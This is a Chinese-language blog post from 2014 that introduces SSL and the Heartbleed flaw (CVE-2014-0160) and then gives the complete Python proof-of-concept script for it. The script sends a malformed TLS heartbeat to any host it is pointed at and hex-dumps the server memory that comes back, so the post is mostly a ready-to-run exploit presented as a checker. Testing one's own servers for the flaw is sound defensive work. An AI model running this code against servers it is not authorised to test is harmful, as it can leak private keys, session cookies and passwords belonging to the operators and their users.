一个检测OpenSSL心脏出血漏洞的Python脚本分享


Posted in Python onApril 10, 2014

什么是SSL?

SSL是一种流行的加密技术,可以保护用户通过互联网传输的隐私信息。网站采用此加密技术后,第三方无法读取你与该网站之间的任何通讯信息。在后台,通过SSL加密的数据只有接收者才能解密。

SSL最早在1994年由网景推出,1990年代以来已经被所有主流浏览器采纳。

什么是“心脏出血”漏洞?

SSL标准包含一个心跳选项,允许SSL连接一端的电脑发出一条简短的信息,确认另一端的电脑仍然在线,并获取反馈。研究人员发现,可以通过巧妙的手段发出恶意心跳信息,欺骗另一端的电脑泄露机密信息。受影响的电脑可能会因此而被骗,并发送服务器内存中的信息。

谁发现的这个问题?

该漏洞是由Codenomicon和谷歌安全部门的研究人员独立发现的。为了将影响降到最低,研究人员已经与OpenSSL团队和其他关键的内部人士展开了合作,在公布该问题前就已经准备好修复方案。

检测OpenSSL心脏出血漏洞的Python脚本

#!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                 
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
 
def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay
def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False
        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True
        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False
def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break
    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)
if __name__ == '__main__':
    main()
Python 相关文章推荐
Python编程之属性和方法实例详解
May 19 Python
Python实现简单截取中文字符串的方法
Jun 15 Python
在Python的while循环中使用else以及循环嵌套的用法
Oct 14 Python
Python简单读取json文件功能示例
Nov 30 Python
详解python中的 is 操作符
Dec 26 Python
Jupyter中直接显示Matplotlib的图形方法
May 24 Python
攻击者是如何将PHP Phar包伪装成图像以绕过文件类型检测的(推荐)
Oct 11 Python
Python 实现两个服务器之间文件的上传方法
Feb 13 Python
OpenCV模板匹配matchTemplate的实现
Oct 18 Python
Python for i in range ()用法详解
Sep 18 Python
解决Python3.8用pip安装turtle-0.0.2出现错误问题
Feb 11 Python
Python GUI编程学习笔记之tkinter控件的介绍及基本使用方法详解
Mar 30 Python
Python删除指定目录下过期文件的2个脚本分享
Apr 10 #Python
python实现随机密码字典生成器示例
Apr 09 #Python
Python下的Mysql模块MySQLdb安装详解
Apr 09 #Python
使用python实现递归版汉诺塔示例(汉诺塔递归算法)
Apr 08 #Python
python计算圆周长、面积、球体体积并画出圆
Apr 08 #Python
python实现类似ftp传输文件的网络程序示例
Apr 08 #Python
Python collections模块实例讲解
Apr 07 #Python
You might like
繁体中文转换为简体中文的PHP函数
2006/10/09 PHP
php 远程关机操作的代码
2008/12/05 PHP
PHP中使用BigMap实例
2015/03/30 PHP
PHP基于redis计数器类定义与用法示例
2018/02/08 PHP
laravel 实现根据字段不同值做不同查询
2019/10/23 PHP
js网页中的(运行代码)功能实现思路
2013/02/04 Javascript
javascript格式化指定日期对象的方法
2015/04/21 Javascript
javascript+HTML5的canvas实现七夕情人节3D玫瑰花效果代码
2015/08/04 Javascript
浅析创建javascript对象的方法
2016/05/13 Javascript
javascript 内置对象及常见API详细介绍
2016/11/01 Javascript
微信小程序侧边栏滑动特效(左右滑动)
2017/01/23 Javascript
BootStrapValidator初使用教程详解
2017/02/10 Javascript
原JS实现banner图的常用功能
2017/06/12 Javascript
解决JS内存泄露之js对象和dom对象互相引用问题
2017/06/25 Javascript
基于 Bootstrap Datetimepicker 联动
2017/08/03 Javascript
js array数组对象操作方法汇总
2019/03/18 Javascript
使用 webpack 插件自动生成 vue 路由文件的方法
2019/08/20 Javascript
JavaScript实现4位随机验证码的生成
2021/01/28 Javascript
[01:29]2014DOTA2展望TI 剑指西雅图DK战队专访
2014/06/30 DOTA
[01:14]英雄,所敬略同——2018完美盛典宣传视频4K
2018/12/05 DOTA
python生成不重复随机数和对list乱序的解决方法
2018/04/09 Python
python正则表达式匹配[]中间为任意字符的实例
2018/12/25 Python
Python控制Firefox方法总结
2019/06/03 Python
python集合是否可变总结
2019/06/20 Python
Python-copy()与deepcopy()区别详解
2019/07/12 Python
用python写一个定时提醒程序的实现代码
2019/07/22 Python
Python关于反射的实例代码分享
2020/02/20 Python
python用tkinter实现一个gui的翻译工具
2020/10/26 Python
No module named ‘win32gui‘ 的解决方法(踩坑之旅)
2021/02/18 Python
X/HTML5 和 XHTML2
2008/10/17 HTML / CSS
离婚协议书范本及离婚须知
2014/10/15 职场文书
倡议书作文
2015/01/19 职场文书
2015年乡镇扶贫工作总结
2015/04/08 职场文书
2015年社区妇联工作总结
2015/04/21 职场文书
个人工作失误的保证书怎么写?
2019/06/21 职场文书
pd.DataFrame中的几种索引变换的实现
2022/06/16 Python